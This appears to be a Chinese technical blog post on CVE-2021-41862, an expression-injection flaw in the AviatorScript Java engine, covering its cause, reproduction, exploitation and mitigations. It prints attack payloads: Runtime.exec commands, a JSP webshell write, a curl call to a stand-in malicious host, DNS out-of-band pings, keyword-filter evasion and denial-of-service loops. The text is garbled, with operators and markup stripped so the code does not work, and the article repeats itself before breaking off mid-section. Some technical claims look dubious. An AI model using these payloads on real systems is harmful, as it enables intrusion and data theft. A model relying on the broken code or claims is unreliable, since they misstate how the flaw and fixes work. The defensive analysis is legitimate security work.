1. 项目概述当表达式引擎成为攻击入口最近在梳理一些开源组件的安全历史时我又一次注意到了CVE-2021-41862。这个编号可能对很多人来说有点陌生但提到AviatorScript不少做Java高性能计算或者规则引擎的开发者应该不陌生。这是一个轻量级、高性能的Java表达式求值引擎在很多需要动态配置计算规则的系统里都能看到它的身影比如风控模型的实时评分、电商平台的动态定价、工作流中的条件判断等等。它的核心卖点就是快通过直接将表达式编译成JVM字节码来执行避免了传统解释执行的性能损耗。然而CVE-2021-41862这个漏洞恰恰就出在这个“高性能”的实现机制上。简单来说在默认的安全配置下攻击者可以构造一个特殊的表达式让AviatorScript去实例化并执行任意Java类这几乎等同于在应用服务器上开了一个执行任意代码的后门。想象一下如果你的一个线上系统因为一个动态配置的促销折扣计算公式就被人远程执行了Runtime.getRuntime().exec(“rm -rf /”)那场面简直不敢想。这个漏洞的危险性在于它非常容易被忽视。很多开发者引入AviatorScript时只关注了其功能的强大和性能的优越却默认信任了它的执行沙箱没有仔细审查其安全边界。今天我就结合这个漏洞和大家深入聊聊表达式注入漏洞的原理、在AviatorScript中的具体成因、如何复现和验证以及最重要的——我们该如何防御和修复。无论你是负责系统安全的工程师还是正在使用类似组件的开发者理解这个漏洞都能帮你避开一个大坑。2. 漏洞核心原理与AviatorScript架构解析要理解CVE-2021-41862我们不能只停留在“有个漏洞”的层面必须深入到AviatorScript的设计和实现中去。这就像看病得先知道身体的正常运作机制才能找到病灶所在。2.1 AviatorScript 的工作机制从表达式到字节码AviatorScript不是一个完整的脚本语言它主要专注于表达式求值。你给它一个字符串比如”a b * c”并传入一个包含变量a、b、c的上下文Map它就能快速算出结果。它的高性能秘诀在于“编译执行”。词法分析与语法分析首先AviatorScript会将你输入的表达式字符串解析成一棵抽象语法树AST。这个过程会检查表达式的语法是否正确比如括号是否匹配运算符是否合法。AST优化引擎会对AST进行一些优化比如常量折叠把23直接计算成5以减少运行时开销。字节码生成关键步骤这是最核心也最危险的一步。AviatorScript使用ASM一个Java字节码操作框架动态生成一个Java类。这个类包含一个execute方法其方法体就是你的表达式逻辑。例如对于表达式”a b”它可能会生成一个类似下面伪代码的类public class GeneratedExpression_0 { public Object execute(MapString, Object env) { Object a env.get(“a”); Object b env.get(“b”); return ((Number)a).doubleValue() ((Number)b).doubleValue(); } }类加载与执行生成的字节码会被一个自定义的ClassLoader通常是ExpressionClassLoader加载到JVM中然后实例化并调用其execute方法得到结果。由于是标准的JVM字节码执行速度与手写的Java代码几乎无异。这个“编译为字节码”的机制是AviatorScript性能的基石但也为安全漏洞埋下了伏笔。因为它本质上赋予了表达式“创造新类”的能力。2.2 漏洞的根源过于宽松的“白名单”问题出在AviatorScript允许在表达式中做什么在默认配置下AviatorScript的功能非常强大。除了基本的算术和逻辑运算它还允许通过new关键字来实例化Java对象。例如表达式”new java.util.ArrayList()”是合法的它会返回一个空的ArrayList。从功能角度看这很强大你可以直接在表达式里操作复杂对象。但从安全角度看这无异于打开了潘多拉魔盒。因为new后面可以跟任何在类路径上可访问的类的全限定名。漏洞利用的关键类就是java.lang.Runtime。这个类可以执行系统命令。在默认配置下攻击者可以构造如下表达式new java.lang.Runtime().exec(“calc.exe”)或者更常见的通过反射来绕过可能的字符串检测let clazz java.lang.Class.forName(“java.lang.Runtime”); let runtime clazz.getMethod(“getRuntime”).invoke(null); runtime.exec(“open /Applications/Calculator.app”);为什么这是危险的因为很多使用AviatorScript的场景表达式来源是外部可配置的。例如规则引擎运营人员在后台配置的风控规则”user.riskScore 80 new java.lang.Runtime().exec(‘恶意命令’)”。动态公式用户在表单中输入的计价公式被后台用AviatorScript计算。模板渲染某些模板中嵌入了简单的表达式逻辑。如果系统没有对表达式内容做严格的过滤和限制攻击者就可以通过输入上述恶意表达式在服务器上以运行该Java应用的权限执行任意命令从而导致服务器被完全控制。注意这里有一个常见的误解认为Java应用部署在容器里就很安全。实际上一旦能执行Runtime.exec()攻击者就能在容器内做任何事情包括窃取数据、植入挖矿程序、攻击内网其他服务等危害程度极高。2.3 与常见注入漏洞的对比为了更清晰地定位这个漏洞我们可以把它和我们更熟悉的SQL注入、命令注入做个对比漏洞类型注入点恶意输入目标最终执行环境SQL注入应用程序拼接的SQL语句字符串数据库服务器数据库引擎如MySQL, PostgreSQL命令注入应用程序调用的系统命令字符串如Runtime.exec应用服务器操作系统系统Shell如bash, cmd表达式注入 (CVE-2021-41862)表达式引擎执行的表达式字符串应用服务器的JVMJava虚拟机通过字节码可以看到表达式注入的危害链更短威力更大。它不需要像SQL注入那样去猜测数据库结构也不需要像命令注入那样去突破应用层的字符串过滤。它直接利用了表达式引擎自身的强大功能实例化类将恶意代码注入到应用的核心运行时JVM中执行。3. 漏洞复现与环境搭建纸上得来终觉浅绝知此事要躬行。安全研究尤其如此只有亲手复现了漏洞才能对其危害有最直观的认识。下面我带大家搭建一个最简单的复现环境。3.1 准备漏洞版本AviatorScriptCVE-2021-41862影响的是5.2.7及之前的所有版本。我们这里使用一个明确的漏洞版本例如5.2.6进行复现。如果你使用Maven可以在一个干净的测试项目的pom.xml中添加以下依赖dependency groupIdcom.googlecode.aviator/groupId artifactIdaviator/artifactId version5.2.6/version !-- 漏洞版本 -- /dependency如果你希望更简单可以直接下载jar包。但为了后续分析建议使用Maven项目方便引入源码。3.2 编写一个简单的测试程序我们创建一个简单的Java类模拟一个使用AviatorScript计算用户输入表达式的脆弱应用。import com.googlecode.aviator.AviatorEvaluator; import java.util.HashMap; import java.util.Map; public class VulnerableAviatorDemo { public static void main(String[] args) { // 模拟从外部如HTTP参数、配置文件、数据库获取的表达式 // 这里我们硬编码一个恶意表达式作为演示 String userInputExpression “new java.lang.Runtime().exec(‘calc.exe’)”; // Windows弹出计算器 // String userInputExpression “new java.lang.Runtime().exec(‘open -a Calculator’)”; // macOS // String userInputExpression “new java.lang.Runtime().exec(‘xcalc’)”; // Linux (需安装xcalc) System.out.println(“[] 正在计算表达式: “ userInputExpression); try { // 这是最危险的使用方式直接执行未经任何过滤和限制的用户输入 Object result AviatorEvaluator.execute(userInputExpression); System.out.println(“[] 表达式执行完成。结果可能为null: “ result); } catch (Exception e) { System.err.println(“[-] 执行表达式时出错: “ e.getMessage()); e.printStackTrace(); } } }3.3 执行与效果观察将上述代码保存为VulnerableAviatorDemo.java。确保你的pom.xml中依赖的是5.2.6版本然后编译运行。在Windows环境下如果你的Java应用有图形界面权限比如在本地IDE中运行你会看到系统计算器calc.exe被成功弹出。在无图形界面的服务器环境Linux/Windows Server命令同样会执行只是你看不到图形界面。你可以将命令换成touch /tmp/hacked_by_aviator或curl a-malicious-website.com来验证命令确实被执行了。复现成功的关键标志进程成功创建。即使exec()方法返回的Process对象可能因为IO问题抛出异常但命令本身在调用exec()的瞬间就已经由操作系统启动执行了。这就是为什么即使捕获了异常漏洞依然被成功利用的原因。实操心得在真实漏洞复现或渗透测试中我们通常会使用“延时”或“DNS外带”等无回显的技巧来验证命令执行。例如执行ping -c 4 your-unique-subdomain.dnslog.cn或sleep 5。如果应用响应时间明显变长或者DNS日志收到了查询记录就证明漏洞存在且可利用。这比弹计算器更适用于生产环境。4. 漏洞深度利用与影响范围分析复现了弹计算器只是理解了漏洞的“皮毛”。一个真正的安全研究者或攻击者会思考如何将这个漏洞的威力最大化。我们来看看在默认配置下这个漏洞还能做些什么。4.1 超越Runtime.exec其他危险类Runtime.exec是最直接的利用方式但绝不是唯一。在默认的AviatorScript白名单其实是黑名单机制缺失下攻击者可以实例化任何类这意味着文件操作利用java.io.FileWriter或java.nio.file.Files类写入Webshell。let fw new java.io.FileWriter(“/var/www/html/shell.jsp”); fw.write(“%page import‘java.util.*,java.io.*’%% if(request.getParameter(“cmd”)!null) { Process p Runtime.getRuntime().exec(request.getParameter(“cmd”)); … %”); fw.close();网络连接利用java.net.Socket发起内网探测或攻击。let s new java.net.Socket(“192.168.1.1”, 22); // 探测内网SSH服务反射与类加载利用java.lang.ClassLoader定义恶意类实现更复杂的内存马。let cl new com.googlecode.aviator.ExpressionClassLoader(); // 理论上可以通过defineClass加载恶意字节码实现更隐蔽的后门线程与内存创建大量线程或对象发起拒绝服务攻击。// 消耗CPU while(true) { let i 1 1; } // 消耗内存 let list new java.util.ArrayList(); for(i0; i1000000; ii1) { list.add(new byte[1024]); }4.2 漏洞的隐蔽性与利用场景这个漏洞的可怕之处在于其极高的隐蔽性和广泛的适用场景。隐蔽性无异常很多危险操作如创建文件、建立网络连接在表达式层面可能不会抛出应用层异常只是返回一个null或对象引用这使得在日志中很难发现异常。混淆绕过攻击者可以对表达式进行简单的混淆例如使用字符串拼接、十六进制编码、反射调用等绕过基于关键词的简单WAF或过滤规则。// 字符串拼接绕过“Runtime”关键词检测 let cmd “calc”; new java.lang.”Run” “time”.exec(cmd “.exe”);上下文利用表达式可以访问传入的变量上下文。如果上下文中包含了敏感对象如数据库连接DataSource、HTTP请求HttpServletRequest攻击者甚至可以直接操作这些对象无需new。典型受影响场景SAAS或PaaS平台的规则自定义允许用户上传自定义业务规则或公式的平台。低代码/零代码平台通过拖拽和表达式配置业务逻辑表达式引擎往往是核心。金融或风控系统的策略中心策略规则经常需要动态调整表达式引擎是首选。报表系统的动态计算字段允许用户自定义计算逻辑。任何将AviatorScript配置为默认或推荐表达式引擎的框架开发者可能在不了解其安全配置的情况下直接使用。4.3 漏洞链组合利用的可能性在实战中高危漏洞很少单独存在。CVE-2021-41862可以与其他漏洞或弱点结合形成更具破坏力的攻击链。结合SSRF如果应用本身存在SSRF漏洞能访问内网服务但无法执行命令。攻击者可以利用SSRF将恶意表达式作为参数发送到内部另一个使用了脆弱版本AviatorScript的服务上从而在内部网络实现命令执行绕过外部防火墙。结合文件上传如果应用存在文件上传漏洞但无法获取执行权限。攻击者可以先上传一个JSP Webshell文件到临时目录然后通过AviatorScript表达式注入漏洞执行命令将该文件移动到Web目录从而获得一个稳定的Web后门。权限提升如果Java应用本身以高权限如root、system运行那么通过此漏洞执行的命令也就拥有了相应的高权限可以完成更危险的操作。5. 修复方案与安全加固实践分析了漏洞的危害接下来就是最关键的部分如何修复和防御。对于使用AviatorScript的团队来说这里有从紧急止血到彻底根治的多种方案。5.1 官方修复方案升级版本最根本的修复方法是升级AviatorScript到已修复该漏洞的版本。根据官方信息5.3.0及以上版本通过引入更严格的安全控制机制修复了此漏洞。升级步骤修改你的pom.xml或build.gradle文件将AviatorScript依赖版本至少升级到5.3.0。dependency groupIdcom.googlecode.aviator/groupId artifactIdaviator/artifactId version5.3.0/version !-- 或更高版本 -- /dependency进行全面的回归测试。因为新版本可能引入了API变化或行为变更需要确保你的业务逻辑不受影响。5.3.0版本的核心修复在默认配置下禁用了new操作符和java.lang.Class.forName方法。这意味着之前那些直接new Runtime()的表达式现在会直接抛出异常从根本上堵住了漏洞。5.2 配置安全模式如果无法立即升级如果你的项目因为兼容性等原因无法立即升级到5.3.0那么必须通过配置来启用安全模式。这是旧版本中最重要的安全加固手段。AviatorEvaluator提供了aviator.eval.mode系统属性来控制评估模式aviator.eval.modeEVAL默认模式不安全。允许使用new、forName等。aviator.eval.modeINTERPRETER解释器模式相对安全。不使用ASM编译字节码而是通过解释器执行AST。性能有下降但禁用了new操作符。aviator.eval.modeASM编译模式但可配置白名单。需要结合AviatorEvaluator.setOption进行细粒度控制。推荐做法针对5.2.x版本启动参数配置在JVM启动参数中强制设置为解释器模式。-Daviator.eval.modeINTERPRETER代码中硬编码配置更可靠在应用初始化时最早的位置如Spring的PostConstruct或Servlet的init方法中执行import com.googlecode.aviator.AviatorEvaluator; import com.googlecode.aviator.Options; public class SecurityConfig { PostConstruct public void initAviatorSecurity() { // 设置为解释器模式禁用new操作符 AviatorEvaluator.setOption(Options.EVAL_MODE, EvalMode.INTERPRETER); // 进一步地可以禁用函数如果不需要 // AviatorEvaluator.getInstance().disableFeature(Feature.Assignment); // AviatorEvaluator.getInstance().disableFeature(Feature.Lambda); System.out.println(“[INFO] AviatorScript已设置为安全解释器模式。”); } }注意事项设置为INTERPRETER模式会带来明显的性能损失可能达不到引入AviatorScript的初衷。这只能作为临时缓解措施最终目标仍是升级到安全版本。5.3 自定义函数与白名单机制进阶安全对于5.3.0及以上版本或者对安全性有极致要求的场景AviatorScript提供了更细粒度的安全控制——自定义函数和白名单。核心思想不暴露完整的Java表达能力而是将业务需要的特定功能封装成安全的“函数”暴露给表达式使用。操作步骤禁用所有不安全特性在初始化时明确关闭危险功能。AviatorEvaluator.setOption(Options.FEATURE_SET, Feature.getCompatibleFeatures()); // 使用兼容特性集 AviatorEvaluator.getInstance().disableFeature(Feature.NewInstance); // 明确禁用new AviatorEvaluator.getInstance().disableFeature(Feature.InstanceMethodCall); // 谨慎禁用实例方法调用根据需求注册自定义安全函数将业务需要的操作封装成函数。// 例如业务需要一个“发送消息”的功能而不是允许任意网络调用 AviatorEvaluator.addFunction(new AbstractFunction() { Override public String getName() { return “sendAlert”; } Override public AviatorObject call(MapString, Object env, AviatorObject arg1) { // 参数类型检查和过滤 String message FunctionUtils.getStringValue(arg1, env); // 实现安全的发送逻辑比如调用内部服务而不是直接Socket alertService.send(message); return AviatorNil.NIL; } }); // 表达式里只能这样用 // sendAlert(“高风险交易”) — 安全 // new Socket(...) — 将被拒绝执行使用ClassFilter5.3.3更高版本支持类过滤器可以精确控制哪些类可以被访问。AviatorEvaluator.getInstance().setClassFilter(new ClassFilter() { Override public boolean permit(Class? clazz) { // 只允许数学、工具类等安全类 return clazz.getName().startsWith(“java.lang.Math”) || clazz.getName().startsWith(“java.util.Date”) || clazz.getName().startsWith(“com.yourcompany.safeutils.”); } });5.4 输入验证与表达式沙箱除了引擎侧的加固应用层也必须做好防御。严格的输入验证白名单校验如果表达式的内容是预定义的如从下拉框选择坚决不使用字符串拼接而是使用映射到安全表达式ID的方式。黑名单过滤效果有限如果必须接受自由文本可以过滤new、forName、Runtime、ProcessBuilder、getClass()等危险关键词及其变种大小写、双写、编码。但这种方法很容易被绕过只能作为辅助手段。表达式沙箱终极方案对于不可信来源的表达式最安全的方式是在一个完全隔离的环境中执行。使用Java SecurityManager配置严格的策略文件禁止表达式执行类创建文件、网络连接、执行命令等操作。但SecurityManager在新版Java中已被标记为废弃且配置复杂。在独立进程中执行将表达式求值服务部署为一个独立的微服务该服务运行在高度受限的容器或用户权限下。即使被攻破影响范围也仅限于该服务。主应用通过RPC调用该服务获取结果。使用真正的沙箱方案考虑使用更专业的、设计上就考虑沙箱的脚本引擎如Oracle Nashorn已废弃的某些安全配置或基于GraalVM的隔离上下文。6. 漏洞挖掘与安全编码启示CVE-2021-41862不是一个复杂的逻辑漏洞但它非常典型。它给所有开发者和架构师上了深刻的一课永远不要信任任何外部输入尤其是那些会被“执行”的输入。6.1 漏洞挖掘思路复盘如果我们站在白盒审计的角度如何发现这类漏洞思路可以总结为定位危险API/组件在项目中搜索AviatorEvaluator.execute、compile、eval等方法的调用点。回溯数据流检查传入这些方法的表达式字符串第一个参数的来源。是硬编码配置文件数据库用户输入HTTP请求参数、上传文件内容判断输入是否可控如果来源是用户输入或外部存储则标记为“可疑”。检查安全配置查看调用点周围是否有安全配置如setOption、EvalMode.INTERPRETER、自定义函数、ClassFilter等。如果没有漏洞很可能存在。构造POC验证在测试环境尝试向可控的输入点注入简单的测试表达式如new java.util.Date()看是否能成功返回一个日期对象从而验证漏洞。这个流程可以推广到审计任何“代码执行”类组件如OGNL、SpEL、MVEL、JEXL等表达式引擎以及Freemarker、Velocity等模板引擎。6.2 给开发者的安全编码准则最小权限原则表达式引擎应该只拥有完成其任务所必需的最小权限。默认情况下应该是“什么都不允许”然后按需开启功能。默认安全配置在引入一个第三方组件时第一件事就是查阅其安全文档了解默认配置是否安全。像AviatorScript 5.2.x的默认配置就是不安全的这需要我们在项目初始化时就显式地将其配置为安全模式。外部输入即威胁所有来自系统外部的数据HTTP参数、Header、Cookie、文件内容、数据库字段、RPC响应、消息队列内容在进入核心执行逻辑如表达式求值、数据库查询、命令执行前都必须经过严格的验证和过滤。依赖项安全管理使用Maven Enforcer插件或OWASP Dependency-Check等工具定期扫描项目依赖中的已知漏洞CVE。订阅依赖库的安全邮件列表或关注其GitHub Security Advisories。及时升级到安全版本并做好兼容性测试。纵深防御不要只依赖一层防护。应该在表达式引擎层、应用逻辑层、网络层WAF等多个层面部署防御措施。即使一层被绕过还有其他层提供保护。6.3 漏洞修复后的验证修复漏洞后如何验证修复是否有效单元测试编写安全的单元测试用例专门测试恶意表达式是否会被正确拒绝。Test(expected ExpressionSyntaxErrorException.class) // 期望抛出语法错误异常 public void testMaliciousExpressionIsBlocked() { String malicious “new java.lang.Runtime().exec(‘calc’)“; // 在配置了安全模式或升级后此调用应失败 AviatorEvaluator.execute(malicious); } Test public void testSafeExpressionWorks() { // 确保正常的业务表达式仍然可用 Long result (Long) AviatorEvaluator.execute(“1 2 * 3”); assertEquals(7L, result.longValue()); }集成测试/渗透测试在测试环境中模拟攻击者从真实的入口如API接口注入恶意表达式确认系统返回的是预期的错误信息而不是执行了命令。代码审查团队内进行交叉代码审查确保所有使用AviatorScript的地方都遵循了新的安全规范。CVE-2021-41862的教训是深刻的。它提醒我们在追求性能和灵活性的同时绝不能以牺牲安全为代价。作为开发者我们需要对所使用的工具保持敬畏之心理解其强大功能背后的风险并通过审慎的配置和编码实践构建真正健壮、安全的系统。每一次漏洞分析都是对我们安全意识和技能的一次提升。
Java表达式注入漏洞CVE-2021-41862深度解析与防御实践
1. 项目概述当表达式引擎成为攻击入口最近在梳理一些开源组件的安全历史时我又一次注意到了CVE-2021-41862。这个编号可能对很多人来说有点陌生但提到AviatorScript不少做Java高性能计算或者规则引擎的开发者应该不陌生。这是一个轻量级、高性能的Java表达式求值引擎在很多需要动态配置计算规则的系统里都能看到它的身影比如风控模型的实时评分、电商平台的动态定价、工作流中的条件判断等等。它的核心卖点就是快通过直接将表达式编译成JVM字节码来执行避免了传统解释执行的性能损耗。然而CVE-2021-41862这个漏洞恰恰就出在这个“高性能”的实现机制上。简单来说在默认的安全配置下攻击者可以构造一个特殊的表达式让AviatorScript去实例化并执行任意Java类这几乎等同于在应用服务器上开了一个执行任意代码的后门。想象一下如果你的一个线上系统因为一个动态配置的促销折扣计算公式就被人远程执行了Runtime.getRuntime().exec(“rm -rf /”)那场面简直不敢想。这个漏洞的危险性在于它非常容易被忽视。很多开发者引入AviatorScript时只关注了其功能的强大和性能的优越却默认信任了它的执行沙箱没有仔细审查其安全边界。今天我就结合这个漏洞和大家深入聊聊表达式注入漏洞的原理、在AviatorScript中的具体成因、如何复现和验证以及最重要的——我们该如何防御和修复。无论你是负责系统安全的工程师还是正在使用类似组件的开发者理解这个漏洞都能帮你避开一个大坑。2. 漏洞核心原理与AviatorScript架构解析要理解CVE-2021-41862我们不能只停留在“有个漏洞”的层面必须深入到AviatorScript的设计和实现中去。这就像看病得先知道身体的正常运作机制才能找到病灶所在。2.1 AviatorScript 的工作机制从表达式到字节码AviatorScript不是一个完整的脚本语言它主要专注于表达式求值。你给它一个字符串比如”a b * c”并传入一个包含变量a、b、c的上下文Map它就能快速算出结果。它的高性能秘诀在于“编译执行”。词法分析与语法分析首先AviatorScript会将你输入的表达式字符串解析成一棵抽象语法树AST。这个过程会检查表达式的语法是否正确比如括号是否匹配运算符是否合法。AST优化引擎会对AST进行一些优化比如常量折叠把23直接计算成5以减少运行时开销。字节码生成关键步骤这是最核心也最危险的一步。AviatorScript使用ASM一个Java字节码操作框架动态生成一个Java类。这个类包含一个execute方法其方法体就是你的表达式逻辑。例如对于表达式”a b”它可能会生成一个类似下面伪代码的类public class GeneratedExpression_0 { public Object execute(MapString, Object env) { Object a env.get(“a”); Object b env.get(“b”); return ((Number)a).doubleValue() ((Number)b).doubleValue(); } }类加载与执行生成的字节码会被一个自定义的ClassLoader通常是ExpressionClassLoader加载到JVM中然后实例化并调用其execute方法得到结果。由于是标准的JVM字节码执行速度与手写的Java代码几乎无异。这个“编译为字节码”的机制是AviatorScript性能的基石但也为安全漏洞埋下了伏笔。因为它本质上赋予了表达式“创造新类”的能力。2.2 漏洞的根源过于宽松的“白名单”问题出在AviatorScript允许在表达式中做什么在默认配置下AviatorScript的功能非常强大。除了基本的算术和逻辑运算它还允许通过new关键字来实例化Java对象。例如表达式”new java.util.ArrayList()”是合法的它会返回一个空的ArrayList。从功能角度看这很强大你可以直接在表达式里操作复杂对象。但从安全角度看这无异于打开了潘多拉魔盒。因为new后面可以跟任何在类路径上可访问的类的全限定名。漏洞利用的关键类就是java.lang.Runtime。这个类可以执行系统命令。在默认配置下攻击者可以构造如下表达式new java.lang.Runtime().exec(“calc.exe”)或者更常见的通过反射来绕过可能的字符串检测let clazz java.lang.Class.forName(“java.lang.Runtime”); let runtime clazz.getMethod(“getRuntime”).invoke(null); runtime.exec(“open /Applications/Calculator.app”);为什么这是危险的因为很多使用AviatorScript的场景表达式来源是外部可配置的。例如规则引擎运营人员在后台配置的风控规则”user.riskScore 80 new java.lang.Runtime().exec(‘恶意命令’)”。动态公式用户在表单中输入的计价公式被后台用AviatorScript计算。模板渲染某些模板中嵌入了简单的表达式逻辑。如果系统没有对表达式内容做严格的过滤和限制攻击者就可以通过输入上述恶意表达式在服务器上以运行该Java应用的权限执行任意命令从而导致服务器被完全控制。注意这里有一个常见的误解认为Java应用部署在容器里就很安全。实际上一旦能执行Runtime.exec()攻击者就能在容器内做任何事情包括窃取数据、植入挖矿程序、攻击内网其他服务等危害程度极高。2.3 与常见注入漏洞的对比为了更清晰地定位这个漏洞我们可以把它和我们更熟悉的SQL注入、命令注入做个对比漏洞类型注入点恶意输入目标最终执行环境SQL注入应用程序拼接的SQL语句字符串数据库服务器数据库引擎如MySQL, PostgreSQL命令注入应用程序调用的系统命令字符串如Runtime.exec应用服务器操作系统系统Shell如bash, cmd表达式注入 (CVE-2021-41862)表达式引擎执行的表达式字符串应用服务器的JVMJava虚拟机通过字节码可以看到表达式注入的危害链更短威力更大。它不需要像SQL注入那样去猜测数据库结构也不需要像命令注入那样去突破应用层的字符串过滤。它直接利用了表达式引擎自身的强大功能实例化类将恶意代码注入到应用的核心运行时JVM中执行。3. 漏洞复现与环境搭建纸上得来终觉浅绝知此事要躬行。安全研究尤其如此只有亲手复现了漏洞才能对其危害有最直观的认识。下面我带大家搭建一个最简单的复现环境。3.1 准备漏洞版本AviatorScriptCVE-2021-41862影响的是5.2.7及之前的所有版本。我们这里使用一个明确的漏洞版本例如5.2.6进行复现。如果你使用Maven可以在一个干净的测试项目的pom.xml中添加以下依赖dependency groupIdcom.googlecode.aviator/groupId artifactIdaviator/artifactId version5.2.6/version !-- 漏洞版本 -- /dependency如果你希望更简单可以直接下载jar包。但为了后续分析建议使用Maven项目方便引入源码。3.2 编写一个简单的测试程序我们创建一个简单的Java类模拟一个使用AviatorScript计算用户输入表达式的脆弱应用。import com.googlecode.aviator.AviatorEvaluator; import java.util.HashMap; import java.util.Map; public class VulnerableAviatorDemo { public static void main(String[] args) { // 模拟从外部如HTTP参数、配置文件、数据库获取的表达式 // 这里我们硬编码一个恶意表达式作为演示 String userInputExpression “new java.lang.Runtime().exec(‘calc.exe’)”; // Windows弹出计算器 // String userInputExpression “new java.lang.Runtime().exec(‘open -a Calculator’)”; // macOS // String userInputExpression “new java.lang.Runtime().exec(‘xcalc’)”; // Linux (需安装xcalc) System.out.println(“[] 正在计算表达式: “ userInputExpression); try { // 这是最危险的使用方式直接执行未经任何过滤和限制的用户输入 Object result AviatorEvaluator.execute(userInputExpression); System.out.println(“[] 表达式执行完成。结果可能为null: “ result); } catch (Exception e) { System.err.println(“[-] 执行表达式时出错: “ e.getMessage()); e.printStackTrace(); } } }3.3 执行与效果观察将上述代码保存为VulnerableAviatorDemo.java。确保你的pom.xml中依赖的是5.2.6版本然后编译运行。在Windows环境下如果你的Java应用有图形界面权限比如在本地IDE中运行你会看到系统计算器calc.exe被成功弹出。在无图形界面的服务器环境Linux/Windows Server命令同样会执行只是你看不到图形界面。你可以将命令换成touch /tmp/hacked_by_aviator或curl a-malicious-website.com来验证命令确实被执行了。复现成功的关键标志进程成功创建。即使exec()方法返回的Process对象可能因为IO问题抛出异常但命令本身在调用exec()的瞬间就已经由操作系统启动执行了。这就是为什么即使捕获了异常漏洞依然被成功利用的原因。实操心得在真实漏洞复现或渗透测试中我们通常会使用“延时”或“DNS外带”等无回显的技巧来验证命令执行。例如执行ping -c 4 your-unique-subdomain.dnslog.cn或sleep 5。如果应用响应时间明显变长或者DNS日志收到了查询记录就证明漏洞存在且可利用。这比弹计算器更适用于生产环境。4. 漏洞深度利用与影响范围分析复现了弹计算器只是理解了漏洞的“皮毛”。一个真正的安全研究者或攻击者会思考如何将这个漏洞的威力最大化。我们来看看在默认配置下这个漏洞还能做些什么。4.1 超越Runtime.exec其他危险类Runtime.exec是最直接的利用方式但绝不是唯一。在默认的AviatorScript白名单其实是黑名单机制缺失下攻击者可以实例化任何类这意味着文件操作利用java.io.FileWriter或java.nio.file.Files类写入Webshell。let fw new java.io.FileWriter(“/var/www/html/shell.jsp”); fw.write(“%page import‘java.util.*,java.io.*’%% if(request.getParameter(“cmd”)!null) { Process p Runtime.getRuntime().exec(request.getParameter(“cmd”)); … %”); fw.close();网络连接利用java.net.Socket发起内网探测或攻击。let s new java.net.Socket(“192.168.1.1”, 22); // 探测内网SSH服务反射与类加载利用java.lang.ClassLoader定义恶意类实现更复杂的内存马。let cl new com.googlecode.aviator.ExpressionClassLoader(); // 理论上可以通过defineClass加载恶意字节码实现更隐蔽的后门线程与内存创建大量线程或对象发起拒绝服务攻击。// 消耗CPU while(true) { let i 1 1; } // 消耗内存 let list new java.util.ArrayList(); for(i0; i1000000; ii1) { list.add(new byte[1024]); }4.2 漏洞的隐蔽性与利用场景这个漏洞的可怕之处在于其极高的隐蔽性和广泛的适用场景。隐蔽性无异常很多危险操作如创建文件、建立网络连接在表达式层面可能不会抛出应用层异常只是返回一个null或对象引用这使得在日志中很难发现异常。混淆绕过攻击者可以对表达式进行简单的混淆例如使用字符串拼接、十六进制编码、反射调用等绕过基于关键词的简单WAF或过滤规则。// 字符串拼接绕过“Runtime”关键词检测 let cmd “calc”; new java.lang.”Run” “time”.exec(cmd “.exe”);上下文利用表达式可以访问传入的变量上下文。如果上下文中包含了敏感对象如数据库连接DataSource、HTTP请求HttpServletRequest攻击者甚至可以直接操作这些对象无需new。典型受影响场景SAAS或PaaS平台的规则自定义允许用户上传自定义业务规则或公式的平台。低代码/零代码平台通过拖拽和表达式配置业务逻辑表达式引擎往往是核心。金融或风控系统的策略中心策略规则经常需要动态调整表达式引擎是首选。报表系统的动态计算字段允许用户自定义计算逻辑。任何将AviatorScript配置为默认或推荐表达式引擎的框架开发者可能在不了解其安全配置的情况下直接使用。4.3 漏洞链组合利用的可能性在实战中高危漏洞很少单独存在。CVE-2021-41862可以与其他漏洞或弱点结合形成更具破坏力的攻击链。结合SSRF如果应用本身存在SSRF漏洞能访问内网服务但无法执行命令。攻击者可以利用SSRF将恶意表达式作为参数发送到内部另一个使用了脆弱版本AviatorScript的服务上从而在内部网络实现命令执行绕过外部防火墙。结合文件上传如果应用存在文件上传漏洞但无法获取执行权限。攻击者可以先上传一个JSP Webshell文件到临时目录然后通过AviatorScript表达式注入漏洞执行命令将该文件移动到Web目录从而获得一个稳定的Web后门。权限提升如果Java应用本身以高权限如root、system运行那么通过此漏洞执行的命令也就拥有了相应的高权限可以完成更危险的操作。5. 修复方案与安全加固实践分析了漏洞的危害接下来就是最关键的部分如何修复和防御。对于使用AviatorScript的团队来说这里有从紧急止血到彻底根治的多种方案。5.1 官方修复方案升级版本最根本的修复方法是升级AviatorScript到已修复该漏洞的版本。根据官方信息5.3.0及以上版本通过引入更严格的安全控制机制修复了此漏洞。升级步骤修改你的pom.xml或build.gradle文件将AviatorScript依赖版本至少升级到5.3.0。dependency groupIdcom.googlecode.aviator/groupId artifactIdaviator/artifactId version5.3.0/version !-- 或更高版本 -- /dependency进行全面的回归测试。因为新版本可能引入了API变化或行为变更需要确保你的业务逻辑不受影响。5.3.0版本的核心修复在默认配置下禁用了new操作符和java.lang.Class.forName方法。这意味着之前那些直接new Runtime()的表达式现在会直接抛出异常从根本上堵住了漏洞。5.2 配置安全模式如果无法立即升级如果你的项目因为兼容性等原因无法立即升级到5.3.0那么必须通过配置来启用安全模式。这是旧版本中最重要的安全加固手段。AviatorEvaluator提供了aviator.eval.mode系统属性来控制评估模式aviator.eval.modeEVAL默认模式不安全。允许使用new、forName等。aviator.eval.modeINTERPRETER解释器模式相对安全。不使用ASM编译字节码而是通过解释器执行AST。性能有下降但禁用了new操作符。aviator.eval.modeASM编译模式但可配置白名单。需要结合AviatorEvaluator.setOption进行细粒度控制。推荐做法针对5.2.x版本启动参数配置在JVM启动参数中强制设置为解释器模式。-Daviator.eval.modeINTERPRETER代码中硬编码配置更可靠在应用初始化时最早的位置如Spring的PostConstruct或Servlet的init方法中执行import com.googlecode.aviator.AviatorEvaluator; import com.googlecode.aviator.Options; public class SecurityConfig { PostConstruct public void initAviatorSecurity() { // 设置为解释器模式禁用new操作符 AviatorEvaluator.setOption(Options.EVAL_MODE, EvalMode.INTERPRETER); // 进一步地可以禁用函数如果不需要 // AviatorEvaluator.getInstance().disableFeature(Feature.Assignment); // AviatorEvaluator.getInstance().disableFeature(Feature.Lambda); System.out.println(“[INFO] AviatorScript已设置为安全解释器模式。”); } }注意事项设置为INTERPRETER模式会带来明显的性能损失可能达不到引入AviatorScript的初衷。这只能作为临时缓解措施最终目标仍是升级到安全版本。5.3 